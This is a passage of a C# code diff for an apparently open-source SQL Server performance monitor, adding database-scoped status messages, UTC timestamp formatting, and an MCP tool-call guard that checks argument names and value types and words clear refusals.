+        var scope = scopeText ?? (string.IsNullOrWhiteSpace(databaseName) ? "" : $" in database '{databaseName}'");
         return Status(
             "empty",
             $"No {executionType} executions{scope} in the {hoursBack}-hour window searched. The same read without "
             + "execution_type returns rows, so Query Store is collecting and this is a measured zero, not missing "
-            + "data. Omit execution_type to see the other outcomes.");
+            + "data. Omit execution_type to see the other outcomes.",
+            hints);
     }
 
     /// <summary>
@@ -234,14 +358,15 @@ public static string QueryStoreExecutionTypeEmpty(string executionType, int hour
     /// filter too when one rode along, since either can be why nothing matched. Shared so both SKUs say it in the
     /// same words. Both SKUs pass their window floor (<paramref name="windowTruncated"/> and the served window as
     /// <paramref name="hints"/>), because the raw tier can stop short of the window asked for (#2364 on Darling,
-    /// #4231 on Lite).
+    /// #4231 on Lite). <paramref name="scopeText"/> (#5245) is the several-databases phrase, as on
+    /// <see cref="QueryStoreExecutionTypeEmpty"/>; null keeps today's text.
     /// </summary>
     public static string QueryStoreModuleEmpty(
         string moduleName, string? executionType, int hoursBack, string? databaseName,
-        bool windowTruncated = false, object? hints = null)
+        bool windowTruncated = false, object? hints = null, string? scopeText = null)
     {
         var outcome = executionType is null ? "" : $" with execution_type {executionType}";
-        var scope = string.IsNullOrWhiteSpace(databaseName) ? "" : $" in database '{databaseName}'";
+        var scope = scopeText ?? (string.IsNullOrWhiteSpace(databaseName) ? "" : $" in database '{databaseName}'");
         return Status(
             "empty",
             $"No Query Store rows matched module_name '{moduleName}'{outcome}{scope} in the {hoursBack}-hour window "
@@ -351,6 +476,28 @@ public static string QueryStoreModuleEmpty(
         "effective_hours_back say where the answer begins. That is the window floor, not a page cut: no limit " +
         "changes it. WIRE CHANGE: formerly named truncated.";
 
+    /// <summary>
+    /// #4966: <c>effective_start</c> as every window-floor payload prints it, always as UTC with the trailing Z, on
+    /// both SKUs. The served start is either the start that was asked for (already UTC, so a plain "o" printed the Z)
+    /// or the floor read off the store (a naive instant, so a plain "o" printed none), and the zone marker used to
+    /// come and go with <c>window_truncated</c>, on the one value a reader most needs to read right. Only the kind is
+    /// set: the instant is the value's own and is never shifted (no <c>ToUniversalTime</c>, which would take a naive
+    /// floor for local time). A payload that keeps the store's naive form on every path, so that
+    /// <c>effective_start</c> prints like its first point's <c>time</c> beside it (the Performance-Trends
+    /// disclosure), does not call this.
+    /// </summary>
+    public static string FormatEffectiveStart(DateTime effectiveStart) =>
+        DateTime.SpecifyKind(effectiveStart, DateTimeKind.Utc).ToString("o", CultureInfo.InvariantCulture);
+
+    /// <summary>
+    /// #5015: <see cref="FormatEffectiveStart(DateTime)"/> for an instant that may be absent (the oldest or newest of a page
+    /// of events whose time column is nullable, which is null for a page that holds none). Every
+    /// <c>oldest_returned_*</c> and <c>newest_returned_*</c> bound goes through the one formatter, so each prints UTC with
+    /// the Z whatever the column's own kind.
+    /// </summary>
+    public static string? FormatEffectiveStart(DateTime? effectiveStart) =>
+        effectiveStart is DateTime instant ? FormatEffectiveStart(instant) : null;
+
     /// <summary>
     /// How far past <c>now</c> an <c>as_of</c> anchor may sit and still be accepted.
     ///
@@ -786,4 +933,77 @@ public static string Status(string status, string message, object? hints = null)
             ? JsonSerializer.Serialize(new { status, message }, JsonOptions)
             : JsonSerializer.Serialize(new { status, message, hints }, JsonOptions);
     }
+
+    /// <summary>
+    /// <see cref="Status"/> for a read that takes <c>database_name</c> (#5244 review L2): the same <c>status</c>,
+    /// <c>message</c> and optional <c>hints</c>, with the database echo beside them, so an empty answer says which
+    /// databases it was limited to the way the answer with rows does. <paramref name="databaseName"/> is the name for one
+    /// database, "the chosen databases" for two or more and null for every database (Darling's
+    /// <c>DatabaseFilter.Describe()</c>, Lite's <c>McpDatabaseSelection.Describe</c>); the key is always written, null
+    /// included, so a client reads it without first checking whether it got data.
+    /// </summary>
+    public static string StatusForDatabase(string status, string message, string? databaseName, object? hints = null)
+    {
+        return hints is null
+            ? JsonSerializer.Serialize(new { status, message, database_name = databaseName }, JsonOptions)
+            : JsonSerializer.Serialize(new { status, message, database_name = databaseName, hints }, JsonOptions);
+    }
+
+    /// <summary>
+    /// <paramref name="statusJson"/> (a <c>not_collected</c> or <c>precondition</c> envelope another helper built) with
+    /// the <c>database_name</c> echo added, so every answer shape of a tool that takes <c>database_name</c> says which
+    /// databases the call was limited to (#5244 PR4 review round 2, L2). The echo is the name for one database, "the chosen
+    /// databases" for two or more and null for every database (Darling's <c>DatabaseFilter.Describe()</c>, Lite's single
+    /// name); the key is written even when null. Null in, null out, so it wraps a <c>??</c> ladder's rungs. An envelope that
+    /// already carries the key is returned unchanged.
+    /// </summary>
+    public static string? WithDatabase(string? statusJson, string? databaseName)
+    {
+        if (statusJson is null)
+        {
+            return null;
+        }
+
+        var node = System.Text.Json.Nodes.JsonNode.Parse(statusJson) as System.Text.Json.Nodes.JsonObject;
+        if (node is null || node.ContainsKey("database_name"))
+        {
+            return statusJson;
+        }
+
+        node["database_name"] = databaseName;
+        return node.ToJsonString(JsonOptions);
+    }
+
+    /// <summary>
+    /// #4966: the claim an empty answer carries INSTEAD of its "quiet" or "all-clear" clause when its window notice says the
+    /// window is cut (<c>hints.window_truncated</c> true) and names where the store's data starts
+    /// (<c>hints.effective_start</c> set). Both apps use this one constant, so a client reads the same words from either;
+    /// <c>McpMissMessageParityPinTests</c> holds the literal.
+    /// </summary>
+    public const string CutWindowNothingMessage = "Nothing in the part of the window the store covers; the store's data for this read starts at effective_start (see hints), so the stretch before it is not a report that nothing happened.";
+
+    /// <summary>
+    /// #4966: the cut-window claim for an empty answer whose notice has NO <c>effective_start</c>: the store holds no data for
+    /// the read in the window at all, so there is no start to point at and the sentence points at the note instead.
+    /// </summary>
+    public const string CutWindowNothingReadMessage = "Nothing was read: the store holds no data for this read in the window (see hints.truncation_note), so this empty answer is not a report that nothing happened.";
+
+    /// <summary>The cut-window claim for a notice: <see cref="CutWindowNothingMessage"/> when it names a start, else <see cref="CutWindowNothingReadMessage"/>.</summary>
+    public static string CutWindowClaim(string? effectiveStart) =>
+        string.IsNullOrEmpty(effectiveStart) ? CutWindowNothingReadMessage : CutWindowNothingMessage;
+
+    /// <summary>
+    /// #4966: builds the message of an empty answer at run time, replacing only the CLAIM clause. The
+    /// <paramref name="factual"/> first sentence (counts, thresholds, filter echoes), written without its closing period,
+    /// is kept either way. A covered window then reads <paramref name="factual"/> + <paramref name="coveredClaim"/> exactly
+    /// (the claim carries its own leading separator, so the covered text is what it was before #4966); a cut window
+    /// (<paramref name="windowTruncated"/>) reads <paramref name="factual"/> + ". " + <see cref="CutWindowClaim"/> for
+    /// <paramref name="effectiveStart"/>. <paramref name="tail"/> is more text, after the claim, that is not a claim and
+    /// is kept on both branches. A failed probe leaves the notice uncut, so the covered text is kept.
+    /// </summary>
+    public static string QuietUnlessCut(
+        bool windowTruncated, string? effectiveStart, string factual, string coveredClaim, string tail = "") =>
+        windowTruncated
+            ? factual + ". " + CutWindowClaim(effectiveStart) + tail
+            : factual + coveredClaim + tail;
 }
diff --git a/PerformanceMonitor.Common/Mcp/McpSchemaCompat.cs b/PerformanceMonitor.Common/Mcp/McpSchemaCompat.cs
index 1ba0c30afc..45536d0a07 100644
--- a/PerformanceMonitor.Common/Mcp/McpSchemaCompat.cs
+++ b/PerformanceMonitor.Common/Mcp/McpSchemaCompat.cs
@@ -11,6 +11,7 @@
 using System.ComponentModel;
 using System.Diagnostics.CodeAnalysis;
 using System.Reflection;
+using System.Text.Json;
 using System.Text.Json.Nodes;
 using Microsoft.Extensions.AI;
 using ModelContextProtocol.Server;
@@ -122,6 +123,7 @@ internal static AIJsonSchemaCreateOptions SchemaOptionsFor(IServiceProvider serv
         ArgumentNullException.ThrowIfNull(builder);
 
         var catalog = GuideCatalogOf(builder.Services);
+        var parameterTypes = ParameterTypesOf(builder.Services);
 
         foreach (var toolMethod in typeof(TToolType).GetMethods(
             BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.Instance))
@@ -161,7 +163,8 @@ which the SDK copies onto the served Tool.Meta (ModelContextProtocol.Core 2.2.0)
                Services = the DI provider so service-typed parameters are excluded from the schema and
                resolved per-request. The additions are SchemaCreateOptions, the served Description, and Meta. */
             builder.Services.AddSingleton((Func<IServiceProvider, McpServerTool>)(services =>
-                McpServerTool.Create(
+            {
+                var tool = McpServerTool.Create(
                     toolMethod,
                     target: null,
                     options: new McpServerToolCreateOptions
@@ -170,7 +173,20 @@ which the SDK copies onto the served Tool.Meta (ModelContextProtocol.Core 2.2.0)
                         SchemaCreateOptions = SchemaOptionsFor(services),
                         Description = served,
                         Meta = alwaysLoad ? new JsonObject { ["anthropic/alwaysLoad"] = true } : null
-                    })));
+                    });
+
+                /* The CLR type and nullability of each parameter the caller supplies, for the call-tool guard
+                   (McpUnknownArgumentGuard), which refuses a value the SDK's binder cannot read into that type. The
+                   served schema cannot say it: "integer" covers int, long, short and byte alike, and nullability is
+                   absent. Which parameters a caller supplies is read back from the schema the created tool serves, so
+                   the record holds exactly what that schema lists: the DI services it leaves out, and a
+                   CancellationToken the SDK binds from the request, are left out here too, and neither rule is
+                   repeated. */
+                var advertised = AdvertisedParameterNames(tool);
+                parameterTypes.Register(toolName, toolMethod, parameter => parameter.Name is { } name && advertised.Contains(name));
+
+                return tool;
+            }));
         }
 
         return builder;
@@ -198,6 +214,49 @@ private static McpToolGuideCatalog GuideCatalogOf(IServiceCollection services)
         return catalog;
     }
 
+    /// <summary>
+    /// The parameter names the created tool's served schema lists, matched exactly, as the SDK's binder matches them.
+    /// Empty for a schema that is not an object, or lists no properties: a tool that takes nothing a caller may send.
+    /// </summary>
+    private static HashSet<string> AdvertisedParameterNames(McpServerTool tool)
+    {
+        var names = new HashSet<string>(StringComparer.Ordinal);
+        var schema = tool.ProtocolTool.InputSchema;
+
+        if (schema.ValueKind == JsonValueKind.Object
+            && schema.TryGetProperty("properties", out var properties)
+            && properties.ValueKind == JsonValueKind.Object)
+        {
+            foreach (var property in properties.EnumerateObject())
+            {
+                names.Add(property.Name);
+            }
+        }
+
+        return names;
+    }
+
+    /// <summary>
+    /// The one <see cref="McpToolParameterTypes"/> per service collection, found-or-added the way
+    /// <see cref="GuideCatalogOf"/> is. The call-tool guard reads it from the request's services.
+    /// </summary>
+    private static McpToolParameterTypes ParameterTypesOf(IServiceCollection services)
+    {
+        foreach (var descriptor in services)
+        {
+            if (descriptor.ServiceType == typeof(McpToolParameterTypes)
+                && !descriptor.IsKeyedService
+                && descriptor.ImplementationInstance is McpToolParameterTypes existing)
+            {
+                return existing;
+            }
+        }
+
+        var types = new McpToolParameterTypes();
+        services.AddSingleton(types);
+        return types;
+    }
+
     /// <summary>
     /// Rewrites a single generated schema node into the subset Gemini's function-calling validator
     /// accepts: collapses nullable <c>type</c> unions to the single non-null type and removes the
diff --git a/PerformanceMonitor.Common/Mcp/McpToolParameterTypes.cs b/PerformanceMonitor.Common/Mcp/McpToolParameterTypes.cs
new file mode 100644
index 0000000000..f965d67858
--- /dev/null
+++ b/PerformanceMonitor.Common/Mcp/McpToolParameterTypes.cs
@@ -0,0 +1,338 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Concurrent;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Numerics;
+using System.Reflection;
+using System.Text.Json;
+using ModelContextProtocol;
+
+namespace PerformanceMonitor.Common;
+
+/// <summary>One tool parameter as the tool method declares it: its CLR type, and whether it can take a null.</summary>
+/// <param name="Type">The declared type. <c>int?</c> is <see cref="Nullable{T}"/> of <see cref="int"/>.</param>
+/// <param name="AllowsNull">A nullable value type, or a reference type annotated as nullable. Only the tests read it, as a
+/// cross-check; the refusal does not, because it asks the binder whether it can read the value.</param>
+public sealed record McpParameterType(Type Type, bool AllowsNull);
+
+/// <summary>
+/// The CLR type and nullability of each parameter the caller supplies, per tool. Filled by
+/// <c>McpSchemaCompat.WithGeminiCompatibleTools</c> as each tool is created (one instance per service collection,
+/// found-or-added like <see cref="McpToolGuideCatalog"/>), and read by <see cref="McpUnknownArgumentGuard"/> through
+/// the request's services.
+///
+/// <para>The served schema cannot stand in for this. It says <c>"integer"</c> for an <c>int</c>, a <c>long</c>, a
+/// <c>short</c> and a <c>byte</c> alike, carries no <c>format</c>, and does not say which parameters take a null, while
+/// the SDK's binder reads each value into the real type and throws on a value that type cannot hold. Only what a caller
+/// may send is here: the host records the parameters the created tool's served schema lists, so a parameter it resolves
+/// from DI (a data source, a logger) or the SDK supplies (a cancellation token) is left out of the record as it is out
+/// of the schema.</para>
+/// </summary>
+public sealed class McpToolParameterTypes
+{
+    private readonly ConcurrentDictionary<string, IReadOnlyDictionary<string, McpParameterType>> _tools =
+        new(StringComparer.Ordinal);
+
+    /// <summary>Records one tool's parameters, skipping any that <paramref name="include"/> rejects. A second
+    /// registration of the same name replaces the first, so a host that builds its tools twice records the same
+    /// answer twice.</summary>
+    /// <param name="toolName">The name the tool is served under.</param>
+    /// <param name="method">The tool method.</param>
+    /// <param name="include">Whether a parameter is one the caller supplies; null includes every parameter.</param>
+    public void Register(string toolName, MethodInfo method, Func<ParameterInfo, bool>? include)
+    {
+        ArgumentException.ThrowIfNullOrWhiteSpace(toolName);
+        ArgumentNullException.ThrowIfNull(method);
+
+        var context = new NullabilityInfoContext();
+        var parameters = new Dictionary<string, McpParameterType>(StringComparer.Ordinal);
+
+        foreach (var parameter in method.GetParameters())
+        {
+            if (parameter.Name is null || (include is not null && !include(parameter)))
+            {
+                continue;
+            }
+
+            var type = parameter.ParameterType;
+            var allowsNull = type.IsValueType
+                ? Nullable.GetUnderlyingType(type) is not null
+                : context.Create(parameter).WriteState != NullabilityState.NotNull;
+
+            parameters[parameter.Name] = new McpParameterType(type, allowsNull);
+        }
+
+        _tools[toolName] = parameters;
+    }
+
+    /// <summary>The parameters recorded for a tool, by name. False for a tool nothing recorded.</summary>
+    public bool TryGet(string toolName, out IReadOnlyDictionary<string, McpParameterType> parameters)
+    {
+        if (_tools.TryGetValue(toolName, out var found))
+        {
+            parameters = found;
+            return true;
+        }
+
+        parameters = new Dictionary<string, McpParameterType>();
+        return false;
+    }
+}
+
+/// <summary>
+/// Decides whether the SDK's binder can read an argument's value into a parameter's declared type, and words the
+/// refusal when it cannot.
+///
+/// <para><b>The decision is the binder's own.</b> The SDK binds a tool's arguments with
+/// <c>System.Text.Json</c>, using <see cref="McpJsonUtilities.DefaultOptions"/> unless a tool is created with its
+/// own. This reads the value into the same declared type with the same options and refuses exactly when
+/// <see cref="JsonException"/> is thrown, which is what the binder would throw. So it needs no table of what each type
+/// accepts (an <c>int</c> reads <c>"5"</c>, a <c>bool</c> does not read <c>"true"</c>, a <c>ulong</c> reads
+/// 18446744073709551615, a string reads no number), and it cannot refuse a value the binder reads. Anything else the
+/// serializer does (no converter for the type, or a converter that throws something other than a
+/// <see cref="JsonException"/>, say) is a case this cannot judge, and the value passes. The one type it does not read
+/// is a string, which takes a String token or a Null one and nothing else: that is decided from the token, so a
+/// caller-sized text (a plan's XML) is not copied only to be thrown away.</para>
+/// </summary>
+internal static class McpArgumentValueCheck
+{
+    /// <summary>
+    /// The refusal sentence for one argument, or null when the binder reads <paramref name="value"/> into the declared
+    /// type. It names the argument and the tool, says what the parameter takes, and quotes the value sent.
+    /// </summary>
+    internal static string? Problem(string toolName, string parameter, JsonElement value, McpParameterType declared)
+    {
+        if (CanBind(value, declared.Type))
+        {
+            return null;
+        }
+
+        var type = Nullable.GetUnderlyingType(declared.Type) ?? declared.Type;
+        var takes = Takes(parameter, type);
+        var sent = McpUnknownArgumentGuard.Shorten(value.GetRawText());
+        var prefix = $"Argument '{parameter}' for tool '{toolName}' takes ";
+
+        /* Only a value type with no null in it gets here with a null: a reference type, or a Nullable<T>, binds one. */
+        if (value.ValueKind == JsonValueKind.Null)
+        {
+            return $"{prefix}{takes}, and cannot be null, and the call sent null.";
+        }
+
+        if (Bounds(type) is { } bounds)
+        {
+            /* A whole number outside the type's range is too large or too small, which "no decimal point" would
+               misstate; anything else the type cannot read (0.5, "abc", true) is not a whole number. The range itself
+               is not quoted: the CLR type's range is not the range the tool takes (hours_back is an int, and its own
+               validator refuses anything outside 1-168), so quoting it gave the caller two ranges that disagree, and
+               invited a retry the validator refuses. */
+            return OutOfRange(value, bounds) is string direction
+                ? $"{prefix}{takes}, and the call sent {sent}, which is {direction}."
+                : $"{prefix}{takes} with no decimal point, such as 1, and the call sent {sent}.";
+        }
+
+        return $"{prefix}{takes}, and the call sent {sent}.";
+    }
+
+    private static bool CanBind(JsonElement value, Type type)
+    {
+        /* A string reads a String token or a Null one and nothing else, so that is decided from the token. Reading it
+           would copy the whole value only to throw the copy away (a 10 MB plan_xml is a second 10 MB string), and the
+           binder reads it again right after. */
+        if (type == typeof(string))
+        {
+            return value.ValueKind is JsonValueKind.String or JsonValueKind.Null;
+        }
+
+        try
+        {
+            JsonSerializer.Deserialize(value, type, McpJsonUtilities.DefaultOptions);
+            return true;
+        }
+        catch (Exception ex)
+        {
+            /* Only a JsonException is the binder's "cannot read this". Whatever else the read throws (no converter for
+               the type, or a converter that throws an ArgumentException or anything else of its own) is a case this
+               cannot judge, so the value passes and the binder answers the call itself; an exception out of here would
+               escape the call-tool filter and fail a call the binder owns. */
+            return ex is not JsonException;
+        }
+    }
+
+    /// <summary>The range of an integer type, or null when <paramref name="type"/> is not one. An enum is not one,
+    /// although <see cref="Type.GetTypeCode(Type)"/> answers its underlying integer type: what it takes is a member name,
+    /// and a refusal that called it a whole number would not name them (#4956).</summary>
+    private static (BigInteger Min, BigInteger Max)? Bounds(Type type)
+    {
+        if (type.IsEnum)
+        {
+            return null;
+        }
+
+        return Type.GetTypeCode(type) switch
+        {
+            TypeCode.SByte => (sbyte.MinValue, sbyte.MaxValue),
+            TypeCode.Byte => (byte.MinValue, byte.MaxValue),
+            TypeCode.Int16 => (short.MinValue, short.MaxValue),
+            TypeCode.UInt16 => (ushort.MinValue, ushort.MaxValue),
+            TypeCode.Int32 => (int.MinValue, int.MaxValue),
+            TypeCode.UInt32 => (uint.MinValue, uint.MaxValue),
+            TypeCode.Int64 => (long.MinValue, long.MaxValue),
+            TypeCode.UInt64 => (ulong.MinValue, ulong.MaxValue),
+            _ => null,
+        };
+    }
+
+    /// <summary>"too large" or "too small" when <paramref name="value"/> is a whole number (a JSON number with no
+    /// fraction or exponent, or a string of digits with an optional sign) outside the type's range; otherwise null. For
+    /// an unsigned type a minus sign is too small on its own, "-0" included, because the type does not read the sign.
+    ///
+    /// <para>The caller sets the length of the text, and parsing a long run of digits as a big integer costs more than
+    /// the length grows. The widest integer type (<see cref="ulong"/>) holds 20 digits, so after the leading zeros a
+    /// longer run is out of every range, and is answered by its length and sign without being parsed (#4956).</para></summary>
+    private static string? OutOfRange(JsonElement value, (BigInteger Min, BigInteger Max) bounds)
+    {
+        var text = value.ValueKind switch
+        {
+            JsonValueKind.Number when value.GetRawText().AsSpan().IndexOfAny('.', 'e', 'E') < 0 => value.GetRawText(),
+            JsonValueKind.String => value.GetString(),
+            _ => null,
+        };
+
+        if (text is null)
+        {
+            return null;
+        }
+
+        var digits = text.AsSpan();
+        var negative = digits.StartsWith("-");
+        if (negative || digits.StartsWith("+"))
+        {
+            digits = digits[1..];
+        }
+
+        if (digits.IsEmpty || digits.ContainsAnyExceptInRange('0', '9'))
+        {
+            return null;
+        }
+
+        /* An unsigned type reads no minus sign at all, so "-0" is refused though it is no smaller than zero, and the
+           sign alone makes it too small. Nothing negative needs parsing then. */
+        if (negative && bounds.Min.IsZero)
+        {
+            return "too small";
+        }
+
+        digits = digits.TrimStart('0');
+        if (digits.Length > 20)
+        {
+            return negative ? "too small" : "too large";
+        }
+
+        var whole = digits.IsEmpty ? BigInteger.Zero : BigInteger.Parse(digits, NumberStyles.None, CultureInfo.InvariantCulture);
+        if (negative)
+        {
+            whole = -whole;
+        }
+
+        return whole > bounds.Max ? "too large" : whole < bounds.Min ? "too small" : null;
+    }
+
+    /// <summary>What a parameter of the type takes, in words: "a whole number of hours", "true or false", "text".</summary>
+    private static string Takes(string parameter, Type type)
+    {
+        if (Bounds(type) is not null)
+        {
+            return McpUnknownArgumentGuard.WholeNumberOf(parameter);
+        }
+
+        if (type == typeof(bool))
+        {
+            return "true or false";
+        }
+
+        if (type == typeof(string))
+        {
+            return "text";
+        }
+
+        if (type == typeof(char))
+        {
+            return "a single character as text";
+        }
+
+        if (type == typeof(double) || type == typeof(float) || type == typeof(decimal) || type == typeof(Half))
+        {
+            return "a number";
+        }
+
+        if (type.IsEnum)
+        {
+            return "one of " + string.Join(", ", Enum.GetNames(type));
+        }
+
+        if (type == typeof(DateTime) || type == typeof(DateTimeOffset))
+        {
+            return "a date and time as text, such as 2026-10-02T14:30:00Z";
+        }
+
+        if (type == typeof(DateOnly))
+        {
+            return "a date as text, such as 2026-10-02";
+        }
+
+        if (type == typeof(TimeSpan))
+        {
+            return "a duration as text, such as 01:30:00";
+        }
+
+        if (type == typeof(Guid))
+        {
+            return "a GUID as text";
+        }
+
+        if (ElementTypeOf(type) is { } element)
+        {
+            return "a list (a JSON array) of " + Plural(Nullable.GetUnderlyingType(element) ?? element);
+        }
+
+        return "a value of type " + type.Name;
+    }
+
+    private static string Plural(Type element) =>
+        Bounds(element) is not null ? "whole numbers"
+        : element == typeof(bool) ? "true or false values"
+        : element == typeof(string) ? "text values"
+        : element == typeof(double) || element == typeof(float) || element == typeof(decimal) ? "numbers"
+        : element.IsEnum ? "names from " + string.Join(", ", Enum.GetNames(element))
+        : element.Name + " values";
+
+    /// <summary>The element type of an array or of a generic list-like collection, or null for any other type.</summary>
+    private static Type? ElementTypeOf(Type type)
+    {
+        if (type.IsArray)
+        {
+            return type.GetElementType();
+        }
+
+        if (!type.IsGenericType || type.GetGenericArguments().Length != 1)
+        {
+            return null;
+        }
+
+        var definition = type.GetGenericTypeDefinition();
+        return definition == typeof(List<>) || definition == typeof(IList<>) || definition == typeof(ICollection<>)
+            || definition == typeof(IEnumerable<>) || definition == typeof(IReadOnlyList<>)
+            || definition == typeof(IReadOnlyCollection<>) || definition == typeof(HashSet<>)
+            ? type.GetGenericArguments()[0]
+            : null;
+    }
+}
diff --git a/PerformanceMonitor.Common/Mcp/McpUnknownArgumentGuard.cs b/PerformanceMonitor.Common/Mcp/McpUnknownArgumentGuard.cs
index 71655d7916..80404bf1f0 100644
--- a/PerformanceMonitor.Common/Mcp/McpUnknownArgumentGuard.cs
+++ b/PerformanceMonitor.Common/Mcp/McpUnknownArgumentGuard.cs
@@ -8,8 +8,12 @@
 
 using System;
 using System.Collections.Generic;
+using System.Globalization;
 using System.Linq;
 using System.Text.Json;
+using System.Threading;
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Protocol;
 using ModelContextProtocol.Server;
 
@@ -48,13 +52,36 @@ namespace PerformanceMonitor.Common;
 /// tool-arguments object and cannot refuse a client's protocol furniture; the <c>_</c>-prefix carve-out the
 /// issue floated is unnecessary for that reason, and absent a measured need plain strict is better.</para>
 ///
-/// <para><b>Case.</b> The binder matches parameter names case-INSENSITIVELY, so the guard accepts a key the
-/// binder would have bound and refuses only what the binder would have dropped — the guard and the binder
-/// agree by construction, which is the only way this can never refuse a working call. A key that differs
-/// from a real parameter by case alone therefore still WORKS. What the message adds is the near-miss: when a
-/// rejected key is within one small edit of a real parameter (the misspelling case this exists for) the
-/// sentence names the candidate, because "did you mean hours_back" is the whole remedy for the call that
-/// motivated the issue.</para>
+/// <para><b>Case.</b> The binder matches parameter names EXACTLY, letter case included: a key that differs from
+/// a real parameter by case alone is not bound, and the tool runs at that parameter's default. Measured on
+/// ModelContextProtocol 2.2.0, on both registration paths: <c>{"HOURS_BACK": 2}</c> ran at the default 24 hours,
+/// and the SDK JSON options' <c>PropertyNameCaseInsensitive</c> does not govern argument names. #3873 assumed the
+/// opposite and matched names ignoring case, so from then until this change a miscased key was dropped with no
+/// word, which is the very failure this guard exists to stop. The guard now matches exactly too, so it refuses
+/// what the binder would drop and accepts what the binder binds. What the message adds is the near-miss: when a
+/// rejected key differs from a real parameter only by case, or is within one small edit of one (the misspelling
+/// case this exists for), the sentence names the candidate, because "did you mean hours_back" is the whole
+/// remedy for the call that motivated the issue.</para>
+///
+/// <para><b>Values.</b> The same pass also reads the VALUE of each argument against its parameter. The binder reads
+/// a value into the parameter's declared type and throws on one that type cannot hold, so <c>hours_back: 0.5</c>
+/// (or <c>1.0</c>, <c>"0.5"</c>, <c>true</c>, a number past <see cref="int.MaxValue"/>, a null for an <c>int</c>, a
+/// number sent to a string, a string sent to a boolean, an integer array with a fraction in it) threw inside the SDK
+/// before the tool ran, and the caller got a bare "An error occurred invoking ..." with no word on which argument
+/// was wrong or why. Such a call is now refused with a message that names the argument, says what it takes (a whole
+/// number of hours, for <c>hours_back</c>), quotes the value sent and lists the accepted parameters. The guard reads
+/// every argument once before the binder reads it again, so a caller-sized list is read twice.</para>
+///
+/// <para>The advertised schema cannot make that decision: it says <c>"integer"</c> for an <c>int</c>, a <c>long</c>, a
+/// <c>short</c> and a <c>byte</c> alike, and does not say which parameters take a null. So <c>McpSchemaCompat</c>
+/// records each tool's parameter types as it creates the tool (<see cref="McpToolParameterTypes"/>), this reads them
+/// from the request's services, and <see cref="McpArgumentValueCheck"/> refuses exactly the values
+/// <c>System.Text.Json</c> throws on when it reads them into that type, so it cannot refuse a call the binder would
+/// have read. The record keeps each parameter's nullability only for the tests' cross-check: the refusal never reads
+/// it, because it asks the binder whether it can read the value. A tool with no record, or a call made without the
+/// services, falls back to the schema alone: a parameter advertised as an integer refuses what no integer type can
+/// read (a fraction, a word, a boolean, a whole number past <see cref="long"/>), and passes the rest, null
+/// included.</para>
 ///
 /// <para><b>The shape.</b> <see cref="McpHelpers.Refusal"/>, the house's one refusal envelope
 /// (<c>status</c> = <c>invalid</c>, <c>hints.parameter</c> = the offending key): the request as given cannot
@@ -75,7 +102,44 @@ public static class McpUnknownArgumentGuard
     /// </summary>
     public static McpRequestFilter<CallToolRequestParams, CallToolResult> Instance =>
         next => async (request, cancellationToken) =>
-            Refuse(request.Params, FindTool(request)) ?? await next(request, cancellationToken);
+            Refuse(request.Params, FindTool(request), RecordOf(request))
+            ?? await next(request, cancellationToken);
+
+    /// <summary>
+    /// The parameter types the host recorded, from the request's services. Null when they do not resolve: a transport
+    /// that hands the filter no services, or a host that created its tools some other way. The guard then judges by
+    /// the schema alone, which passes a null for an integer parameter and leaves the SDK's bare error, so it still
+    /// runs but with less to go on. That is said once in the log, not on every call.
+    /// </summary>
+    private static McpToolParameterTypes? RecordOf(RequestContext<CallToolRequestParams> request)
+    {
+        var record = request.Services?.GetService<McpToolParameterTypes>();
+        if (record is null)
+        {
+            WarnOnceThatTheRecordDidNotResolve(request.Services ?? request.Server?.Services);
+        }
+
+        return record;
+    }
+
+    private static int s_recordWarned;
+
+    /// <summary>Warns, the first time only, that the tools' parameter types did not resolve. With no logger to ask there
+    /// is nothing to say it to, and the warning is kept for a call that has one.</summary>
+    private static void WarnOnceThatTheRecordDidNotResolve(IServiceProvider? services)
+    {
+        if (services?.GetService<ILoggerFactory>() is not { } loggerFactory
+            || Interlocked.Exchange(ref s_recordWarned, 1) != 0)
+        {
+            return;
+        }
+
+        loggerFactory.CreateLogger(typeof(McpUnknownArgumentGuard).FullName!).LogWarning(
+            "The tools' parameter types did not resolve from the request's services, so the argument guard judges an integer "
+            + "parameter by the schema alone: a null for a whole-number parameter reaches the SDK's binder, which answers with "
+            + "its own error instead of naming the argument. Register the tools through WithGeminiCompatibleTools on the same "
+            + "service collection the transport serves from.");
+    }
 
     /// <summary>
     /// The refusal, or null when the call is clean. Split from <see cref="Instance"/> so the decision is
@@ -83,7 +147,11 @@ public static class McpUnknownArgumentGuard
     /// </summary>
     /// <param name="parameters">The call's parameters; only <see cref="CallToolRequestParams.Arguments"/> is read.</param>
     /// <param name="tool">The tool being called, for its advertised input schema. Null (a name the server does not know) is left to the SDK, which owns that error.</param>
-    public static CallToolResult? Refuse(CallToolRequestParams? parameters, McpServerTool? tool)
+    /// <param name="types">The declared parameter types the host recorded as it registered its tools, or null. With
+    /// them, each argument is checked against the CLR type of its parameter; without them, or for a tool they do not
+    /// cover, an integer parameter is checked against the schema alone.</param>
+    public static CallToolResult? Refuse(
+        CallToolRequestParams? parameters, McpServerTool? tool, McpToolParameterTypes? types = null)
     {
         if (parameters?.Arguments is not { Count: > 0 } arguments || tool is null)
         {
@@ -98,37 +166,78 @@ census caught seven of those (list_servers, get_alert_settings, describe_custom_
            four more) sailing through an earlier version of this guard that read "no properties" as "cannot
            tell" — and a no-argument read is exactly where a stray filter key does the most damage, because
            the caller believes it narrowed a fleet-wide answer. */
-        if (!TryReadAcceptedParameters(tool, out var accepted))
+        if (!TryReadParameters(tool, out var parameterSchemas))
         {
             return null;
         }
 
+        var accepted = new HashSet<string>(parameterSchemas.Keys, StringComparer.Ordinal);
+
         var unknown = arguments.Keys
             .Where(key => !accepted.Contains(key))
             .OrderBy(key => key, StringComparer.Ordinal)
             .ToList();
 
-        if (unknown.Count == 0)
+        if (unknown.Count > 0)
+        {
+            return Envelope(tool.ProtocolTool.Name, unknown, accepted);
+        }
+
+        /* Every key is known; now the values. The binder reads each into its parameter's declared type and
+           throws inside the SDK, before the tool runs, on one that type cannot hold (0.5 for an int, a number past
+           int range, a null for a non-nullable value, a number for a string, a word for a boolean), which the SDK
+           answers with a bare "An error occurred invoking ..." that names neither the argument nor the reason.
